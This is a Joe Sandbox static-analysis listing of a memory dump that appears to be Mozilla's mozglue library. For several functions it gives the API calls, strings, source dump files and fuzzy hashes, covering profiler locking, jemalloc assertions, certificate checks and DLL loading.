threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB5B845
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8,?,?,00000000), ref: 6CB5B852
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5B884
InitializeConditionVariable.KERNEL32(?), ref: 6CB5B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CB5B9FD
GetCurrentThreadId.KERNEL32 ref: 6CB5BA05
AcquireSRWLockExclusive.KERNEL32(6CB9F4B8,?,?,00000000), ref: 6CB5BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CB5BA27
ReleaseSRWLockExclusive.KERNEL32(6CB9F4B8), ref: 6CB5BA4B
free.MOZGLUE(?), ref: 6CB5C9C7
free.MOZGLUE(?), ref: 6CB5C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CB5C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CB5C878

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: e2379f4dd5638697ea1f4fd85a89ee3d4e44773e1b68b332dabfa5f34e6bc59f
Instruction ID: 1d63cbdd3e5f890e9d5d82052ffba4ba3e3d98df1de1c9e48224c1b856390164
Opcode Fuzzy Hash: e2379f4dd5638697ea1f4fd85a89ee3d4e44773e1b68b332dabfa5f34e6bc59f
Instruction Fuzzy Hash: C2A29D71A087808FD725CF28C48079FB7E6BFCA314F544A2DE99997750DB70A919CB82

Function 6CB26C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB26CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB26D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CB26D26

Part of subcall function 6CB2CA10: malloc.MOZGLUE(?), ref: 6CB2CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CB26D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CB26D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CB26D73
free.MOZGLUE(00000000), ref: 6CB26D80
CertGetNameStringW.CRYPT32 ref: 6CB26DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CB26DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB26DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CB26DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CB26E10
CryptMsgClose.CRYPT32(00000000), ref: 6CB26E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CB26E34
CreateFileW.KERNEL32 ref: 6CB26EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CB26F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CB26F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CB2709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CB27103
free.MOZGLUE(00000000), ref: 6CB27153
CloseHandle.KERNEL32(?), ref: 6CB27176
__Init_thread_footer.LIBCMT ref: 6CB27209
__Init_thread_footer.LIBCMT ref: 6CB2723A
__Init_thread_footer.LIBCMT ref: 6CB2726B
__Init_thread_footer.LIBCMT ref: 6CB2729C
__Init_thread_footer.LIBCMT ref: 6CB272DC
__Init_thread_footer.LIBCMT ref: 6CB2730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CB273C2
VerSetConditionMask.NTDLL ref: 6CB273F3
VerSetConditionMask.NTDLL ref: 6CB273FF
VerSetConditionMask.NTDLL ref: 6CB27406
VerSetConditionMask.NTDLL ref: 6CB2740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CB2741A
moz_xmalloc.MOZGLUE(?), ref: 6CB2755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB27568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CB27585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CB27598
free.MOZGLUE(00000000), ref: 6CB275AC

Part of subcall function 6CB4AB89: EnterCriticalSection.KERNEL32(6CB9E370,?,?,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284), ref: 6CB4AB94
Part of subcall function 6CB4AB89: LeaveCriticalSection.KERNEL32(6CB9E370,?,6CB134DE,6CB9F6CC,?,?,?,?,?,?,?,6CB13284,?,?,6CB356F6), ref: 6CB4ABD1

Strings

SHA256, xrefs: 6CB26EC0
(, xrefs: 6CB2768A
wintrust.dll, xrefs: 6CB272CD
CryptCATAdminReleaseCatalogContext, xrefs: 6CB272C8

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: e1e0d36c74527e0b706c4ff7014260dd90e3d9d4f16a1c7e0202fdd27d984fbe
Instruction ID: 1916f36ee28f775c29c1fa3f64b5458c35929837fbd1c5d69388530dbcc40ec6
Opcode Fuzzy Hash: e1e0d36c74527e0b706c4ff7014260dd90e3d9d4f16a1c7e0202fdd27d984fbe
Instruction Fuzzy Hash: C452D2B1A002949BEB21DF64CD84BAE77BCEF46714F1041A9E90DA7640DB74AF84CF91

Function 6CB46FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB47019
LeaveCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB47061
EnterCriticalSection.KERNEL32(?), ref: 6CB471A4
LeaveCriticalSection.KERNEL32(?), ref: 6CB4721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CB4723E
EnterCriticalSection.KERNEL32(?), ref: 6CB4726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CB472B2
LeaveCriticalSection.KERNEL32(?), ref: 6CB4733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CB473E8
LeaveCriticalSection.KERNEL32(?), ref: 6CB4961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB49622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB49642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB4964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB496CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CB496DB
AcquireSRWLockExclusive.KERNEL32(6CB9E804), ref: 6CB49747
GetSystemInfo.KERNEL32(?), ref: 6CB49792
__Init_thread_footer.LIBCMT ref: 6CB497A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CB9E810,00000040), ref: 6CB497CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB9E7B8,00001388), ref: 6CB49838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB9E744,00001388), ref: 6CB4984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB9E784,00001388), ref: 6CB49874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB9E7DC,00001388), ref: 6CB49895

Strings

MALLOC_OPTIONS, xrefs: 6CB497CA
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB499D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB49BF4
MOZ_CRASH(), xrefs: 6CB49B42
Compile-time page size does not divide the runtime one., xrefs: 6CB49B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB499A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB49933, 6CB49A33, 6CB49A4E
<jemalloc>, xrefs: 6CB49B33, 6CB49BE3
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB499BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB49993

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 4dcf13a77c02381883e94a05808f88713519da34b8eb8a0e8c6ede48f6c81fcf
Instruction ID: c28be343844febd38b12720cffae7c70c1d32025867dff413ae4da3213cd2d73
Opcode Fuzzy Hash: 4dcf13a77c02381883e94a05808f88713519da34b8eb8a0e8c6ede48f6c81fcf
Instruction Fuzzy Hash: 77539171A097418FD704CF28C580615BBE1FF8A328F29C66DE869DB799D371E841DB82

Function 6CB50DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CB50F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CB50F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CB50FB7
EnterCriticalSection.KERNEL32(?), ref: 6CB50FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CB51031
LeaveCriticalSection.KERNEL32(?), ref: 6CB510D0
EnterCriticalSection.KERNEL32(?), ref: 6CB5117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CB51C39
EnterCriticalSection.KERNEL32(6CB9E744), ref: 6CB53391
LeaveCriticalSection.KERNEL32(6CB9E744), ref: 6CB533CD
LeaveCriticalSection.KERNEL32(?), ref: 6CB53431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB53437

Strings

MALLOC_OPTIONS, xrefs: 6CB535FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CB537D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB53A02
MOZ_CRASH(), xrefs: 6CB53950
Compile-time page size does not divide the runtime one., xrefs: 6CB53946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CB537A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB53559, 6CB5382D, 6CB53848
<jemalloc>, xrefs: 6CB53941, 6CB539F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CB537BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CB53793

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: bb78d46887a1e075b5a280bce791728e0a281886ffb785081b9efc239c5a2a88
Instruction ID: 7c0f5c1a6b30939862cbb83d54b3cece2d70dd8b40fd1c8b27ff9c273896a3e7
Opcode Fuzzy Hash: bb78d46887a1e075b5a280bce791728e0a281886ffb785081b9efc239c5a2a88
Instruction Fuzzy Hash: A053AF71A057818FD704CF28C54061AFBE1FF8A328F69C66DE8699B791D371E851CB82

Function 6CB755F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CB4E1A5), ref: 6CB75606
LoadLibraryW.KERNEL32(gdi32,?,6CB4E1A5), ref: 6CB7560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CB75633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CB7563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CB7566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CB7567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CB75696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CB756B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CB756CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CB756E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CB756FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CB75716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CB7572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CB75748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CB75761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CB7577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CB75793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CB757A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CB757BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CB757D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CB757EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CB757FF

Strings

StretchDIBits, xrefs: 6CB757CC
GetDpiForWindow, xrefs: 6CB75690
SetWindowPos, xrefs: 6CB756F7
gdi32, xrefs: 6CB7560A
FillRect, xrefs: 6CB75729
GetSystemMetricsForDpi, xrefs: 6CB75677
AreDpiAwarenessContextsEqual, xrefs: 6CB75637
GetThreadDpiAwarenessContext, xrefs: 6CB7562D
EnableNonClientDpiScaling, xrefs: 6CB75666
LoadIconW, xrefs: 6CB7575B
CreateWindowExW, xrefs: 6CB756C5
MonitorFromWindow, xrefs: 6CB7578D
RegisterClassW, xrefs: 6CB756AC
GetMonitorInfoW, xrefs: 6CB757A2
LoadCursorW, xrefs: 6CB75774
ReleaseDC, xrefs: 6CB75742
GetWindowDC, xrefs: 6CB75710
user32, xrefs: 6CB75601
ShowWindow, xrefs: 6CB756DE
SetWindowLongPtrW, xrefs: 6CB757B7
DeleteObject, xrefs: 6CB757F9
CreateSolidBrush, xrefs: 6CB757E4

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 6c33ccf63b31fade3bbe79c4e6187238ccad0a1d6e109b4675f93ba039a17b5d
Instruction ID: 0f2b3b953c7e65cf23304c936aec4dacee2301d3524dbfe46e09e5a2c8a9ba86
Opcode Fuzzy Hash: 6c33ccf63b31fade3bbe79c4e6187238ccad0a1d6e109b4675f93ba039a17b5d
Instruction Fuzzy Hash: BB5115746117929BEB219F358E4492A3BBCEB07266B14483DBD21E3A52EB74CC048F75

Function 6CB734A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB7355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB735BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB735E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB7363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB736CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB7373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB7378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB738BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB739EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB73EE2

Part of subcall function 6CB76180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CB761DD
Part of subcall function 6CB76180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CB7622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB740F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB7412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB74157

Part of subcall function 6CB76180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB76250
Part of subcall function 6CB76180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB76292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB7441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CB74448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB7484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB74863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB74878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CB74896
free.MOZGLUE ref: 6CB7489F

Strings

, xrefs: 6CB74CD2

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: db95dfc25c73b9f2a3684f58d3abf53bec839e791eec8e84ba7474c61f4ac34b
Instruction ID: 9a43b5aea089b6c3e03df79f2daf38cf13ca009078ffad58ea89e1c4aa59ed4d
Opcode Fuzzy Hash: db95dfc25c73b9f2a3684f58d3abf53bec839e791eec8e84ba7474c61f4ac34b
Instruction Fuzzy Hash: 0DF22774909B808FC735CF28C18469ABBF1FF8A354F118A5EE99997711DB319886CF42

Function 6CB264C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CB264DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CB264F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CB26505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CB26518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CB2652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2671C
GetCurrentProcess.KERNEL32 ref: 6CB26724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB2672F
GetCurrentProcess.KERNEL32 ref: 6CB26759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CB26764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CB26A80
GetSystemInfo.KERNEL32(?), ref: 6CB26ABE
__Init_thread_footer.LIBCMT ref: 6CB26AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB26AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB26AF7

Strings

nvdxgiwrap.dll, xrefs: 6CB26513
user32.dll, xrefs: 6CB26526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CB26798
_etoured.dll, xrefs: 6CB264ED
nvd3d9wrap.dll, xrefs: 6CB26500
detoured.dll, xrefs: 6CB264DA

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: a63c1a939b1f57d8db86a44ca145d1be5e40a0743c45e90e88fefbfeb4e13d75
Instruction ID: d07b2255f1d2c3f550bd64097fbd12ac1bda692a5812a2ddaae400826e7c9e2f
Opcode Fuzzy Hash: a63c1a939b1f57d8db86a44ca145d1be5e40a0743c45e90e88fefbfeb4e13d75
Instruction Fuzzy Hash: 70F1F4709056999FDB20CF24CD88BEAB7B5EF06318F1442A9D80DE7641E735AE84CF91

Function 6CB460A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB460C9
LeaveCriticalSection.KERNEL32(6CB9E7DC), ref: 6CB4610D
EnterCriticalSection.KERNEL32(?), ref: 6CB4618C
LeaveCriticalSection.KERNEL32(?), ref: 6CB461F9

Strings

MALLOC_OPTIONS, xrefs: 6CB46888
: (malloc) Unsupported character in malloc options: ', xrefs: 6CB46B6A
MOZ_CRASH(), xrefs: 6CB46AB8
Compile-time page size does not divide the runtime one., xrefs: 6CB46AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CB46BC7, 6CB46F97, 6CB46FB2
<jemalloc>, xrefs: 6CB46AA9, 6CB46B59

Memory Dump Source

Source File: 00000000.00000002.2014786523.000000006CB11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CB10000, based on PE: true

Associated: 00000000.00000002.2014750597.000000006CB10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014891659.000000006CB8D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014936940.000000006CB9E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2014973866.000000006CBA2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb10000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 17714af7878a9976af1799acb5b9eff8f42a5074d5fb7ce9630ffa90d91456be
Instruction ID: 55ccc47a8d55e5e3a2bfd768acb32bf63d2be11f9935693531e2dbf5e259e0fa
Opcode Fuzzy Hash: 17714af7878a9976af1799acb5b9eff8f42a5074d5fb7ce9630ffa90d91456be
Instruction Fuzzy Hash: 81A2BF71A096818FD708CF18C550719BBE1FF86728F29C66DE869CB799D731E840DB82

Function 6CB7C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CB7C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB7C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CB7C7DE
